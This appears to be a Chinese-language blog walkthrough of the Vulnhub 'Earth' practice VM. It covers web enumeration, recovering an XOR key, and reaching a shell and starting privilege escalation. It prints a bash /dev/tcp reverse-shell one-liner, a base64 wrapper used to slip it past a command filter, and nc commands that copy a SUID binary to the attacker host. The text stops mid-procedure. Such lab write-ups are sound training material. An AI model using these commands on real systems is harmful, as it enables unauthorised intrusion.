Vulnhub Earth Walkthrough


Vulnhub Earth Walkthrough

前言

这个靶场应该算是别出心裁了,有一些关于加密解密的算是一些密码学的知识吧,虽然说是难度不是很高,但是还是很有意思的,话不多说了,直接开始干吧。

信息收集

IP 信息 端口信息

从这个简要的信息收集来看,这个靶场指定了两个 DNS ,所以我们一般情况下是无法正常的打开网站的,所以还是要添加一个 /etc/hosts 记录,让他再继续指向回来。

10.0.2.20 earth.local terratest.earth.local

HTTP 扫描

从上面的信息中可以看出,直接使用 ip 地址进行访问的话出现的是一个默认的界面,没有什么有价值的信息,所以目标转向第二个使用域名访问的界面,底下有三串加密的密文。但是暂时还不知道有什么用,所以先对其进行一次扫描,查看有什么敏感目录。

earth.local terreatest.earth.local

首先看右边,发现了 robots.txt 查看一下发现最后一行有一行提示信息。

既然是笔记的话,大概率是 txt 文档的格式,所以尝试下载。

┌──(root㉿kali)-[~]
└─# curl https://terratest.earth.local/testingnotes.txt -k
Testing secure messaging system notes:
*Using XOR encryption as the algorithm, should be safe as used in RSA.
*Earth has confirmed they have received our sent messages.
*testdata.txt was used to test encryption.
*terra used as username for admin portal.
Todo:
*How do we send our monthly keys to Earth securely? Or should we change keys weekly?
*Need to test different key lengths to protect against bruteforce. How long should the key be?
*Need to improve the interface of the messaging interface and the admin panel, it's currently very basic.

从上面的倒数第五行可以看出来,用户名已经给出来了,所以说现在的要求就是获取密码,但是从上面说的这个话判断,使用的是 XOR

Earth has confirmed they have received our sent messages.

也就是说已经有了一个发送过的密文了,如果猜的不错的话,那应该是上面那个有地球的界面的下面的几串密文。总结一下,现在最重要的就是要获得 terra 的密码,还有就是去看一下 testdata.txt 是怎么写的。

┌──(root㉿kali)-[~]
└─# curl https://terratest.earth.local/testdata.txt -k    
According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago.

解密

按照 XOR 的逻辑模式来说的话,,现在 是要加密的信息, ,然后 是上面提到的密文。所以说只要再做一次运算就可以得到知道 key

所以说将上面讲的都替换一下,将 testdata.txt 里面的内容使用密文做一下运算,就可以知道 key 是什么了

上面是将第三个密文转成了 UTF-8 格式然后选择使用 XOR 加密,Key 选择 testdata.txt 里面的内容。所以说得到的结果就是截图上面的样子,可以看出是一个循环的结果,每次的循环都是 earthclimatechangebad4humans。所以可以确定这个就是那个 key 。所以现在可以尝试登陆上面左图扫描到的 /admin 界面的界面了。

反弹 shell

从上图发现了是有一个命令执行的输入框的,所以直接使用 bash -c 'exec bash -i &>/dev/tcp/10.0.2.15/2333 <&1' 链接,但是发现被禁止了,猜测可能是过滤了某些命令。

所以首先在 kali 上尝试使用 base64 加密下这个语句,然后在目标主机上解密后链接 尝试绕过。

# kali
echo " bash -c 'exec bash -i &>/dev/tcp/10.0.2.15/2333 <&1'" | base64
# earth
echo IGJhc2ggLWMgJ2V4ZWMgYmFzaCAtaSAmPi9kZXYvdGNwLzEwLjAuMi4xNS8yMzMzIDwmMScK | base64 -d | bash

连接成功!

提权

运行脚本扫描可以发现他提示了系统可能存在这两个漏洞利用,所以我先尝试一下。

CVE-2021-4034

CVE-2022-0847

好巧不巧的,不行,失败了,可能是我太菜了。那就换种思路,有上面扫描到的结果的 suid 提权。

SUID

strings /usr/bin/reset_root

可以看到里面的内容,将 root 的密码设置为 Earth 。又因为它有 s 权限,所以运行之后就可以使用改密码登陆 root 了。但是经过实际测试是不可以的,因为这个二进制文件要先满足一些条件才会触发修改密码的调教,所以

  1. 首先在 kali 上设置监听 nc -lvnp 2222 > reset_root 将监听到的内容存储到 reset_root
  2. 第二部在靶机上将 reset_root 传输到 kalinc 10.0.2.15 2222 < /usr/bin/reset_root


文章作者: Justice
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Justice !
  目录